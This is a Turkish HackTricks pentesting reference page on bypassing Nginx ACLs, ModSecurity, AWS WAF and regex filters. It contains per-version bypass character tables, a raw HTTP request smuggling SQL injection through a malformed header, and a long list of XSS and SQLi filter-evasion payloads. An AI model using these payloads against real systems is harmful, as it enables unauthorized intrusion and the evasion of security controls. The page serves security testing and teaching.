Proxy / WAF Protections Bypass

HackTricks'i Destekleyin

Pathname Manipülasyonu ile Nginx ACL Kurallarını Bypass Etme

Bu araştırmadan teknikler.

Nginx kural örneği:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapar. Ancak, arka uç sunucusu farklı bir normalizasyon gerçekleştirirse (nginx'in kaldırmadığı karakterleri kaldırma), bu savunmayı aşmak mümkün olabilir.

NodeJS - Express

Nginx Versiyonu

Node.js Atlatma Karakterleri

1.22.0

\xA0

1.21.6

\xA0

1.20.2

\xA0, \x09, \x0C

1.18.0

\xA0, \x09, \x0C

1.16.1

\xA0, \x09, \x0C

Flask

Nginx Versiyonu

Flask Atlatma Karakterleri

1.22.0

\x85, \xA0

1.21.6

\x85, \xA0

1.20.2

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.18.0

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.16.1

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Versiyonu

Spring Boot Atlatma Karakterleri

1.22.0

;

1.21.6

;

1.20.2

\x09, ;

1.18.0

\x09, ;

1.16.1

\x09, ;

PHP-FPM

Nginx FPM yapılandırması:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx, /admin.php erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, /admin.php/index.php erişilerek aşılabilir.

Nasıl önlenir

location ~* ^/admin {
deny all;
}

Mod Security Kurallarını Bypass Etme

Yol Karışıklığı

Bu yazıda ModSecurity v3'ün (3.0.12'ye kadar) erişilen yolu (parametrelerin başlangıcına kadar) içermesi gereken REQUEST_FILENAME değişkenini yanlış bir şekilde uyguladığı açıklanmaktadır. Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır. Bu nedenle, mod güvenliğinde http://example.com/foo%3f';alert(1);foo= gibi bir istek, yolun sadece /foo olduğunu varsayacaktır çünkü %3f ?'ye dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol /foo%3f';alert(1);foo= olacaktır.

REQUEST_BASENAME ve PATH_INFO değişkenleri de bu hatadan etkilenmiştir.

Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmayı mümkün kılmıştır (örneğin, .bak gibi) sadece noktayı %2e ile URL kodlayarak göndererek, örneğin: https://example.com/backup%2ebak.

AWS WAF ACL'yi Bypass Etme

Bozuk Başlık

Bu araştırma, AWS'nin düzgün bir şekilde ayrıştırmadığı ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını aşmanın mümkün olduğunu belirtmektedir.

Örneğin, X-Query başlığında bir SQL enjeksiyonu ile aşağıdaki isteği göndermek:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlığın değeriyle ilgili olduğunu anlamıyordu, oysa NODEJS sunucusu anlıyordu (bu düzeltildi).

Genel WAF atlatmaları

İstek Boyutu Sınırları

Genellikle WAF'lar, kontrol etmek için belirli bir istek uzunluğu sınırına sahiptir ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.

Uygulama Yük Dengeleyici ve AWS AppSync korumaları için incelenebilecek maksimum web istek gövde boyutu

8 KB

CloudFront, API Gateway, Amazon Cognito, App Runner ve Doğrulanmış Erişim korumaları için incelenebilecek maksimum web istek gövde boyutu**

64 KB

Eski Web Uygulama Güvenlik Duvarları, Core Rule Set 3.1 (veya daha düşük) ile 128 KB'dan büyük mesajlara izin verir, ancak bu mesajlar zafiyetler için kontrol edilmeyecektir. Daha yeni sürümler (Core Rule Set 3.2 veya daha yenisi) için, maksimum istek gövde sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:

Eğer önleme modu: İsteği kaydeder ve engeller. Eğer tespit modu: Sınır kadar inceler, geri kalanını göz ardı eder ve Content-Length sınırı aşarsa kaydeder.

Varsayılan olarak, WAF yalnızca bir isteğin ilk 8KB'sini inceler. Gelişmiş Meta Veriler ekleyerek sınırı 128KB'a kadar artırabilir.

128KB'a kadar.

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Uyumluluğu

Unicode normalizasyonunun uygulanmasına bağlı olarak (daha fazla bilgi burada), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayabilir ve amaçlanan yük olarak çalıştırılabilir. Uyumlu karakterler burada bulunabilir.

Örnek

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Farklı teknikler, güvenlik duvarlarındaki regex filtrelerini atlatmak için kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonları ekleme ve yükleri kodlama yer alır. Çeşitli atlatma kaynakları PayloadsAllTheThings ve OWASP adreslerinde bulunabilir. Aşağıdaki örnekler bu makaleden alınmıştır.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Araçlar

  • nowafpls: WAF'ları uzunlukla atlatmak için isteklere gereksiz veri ekleyen Burp eklentisi

Referanslar

HackTricks'i Destekleyin

Last updated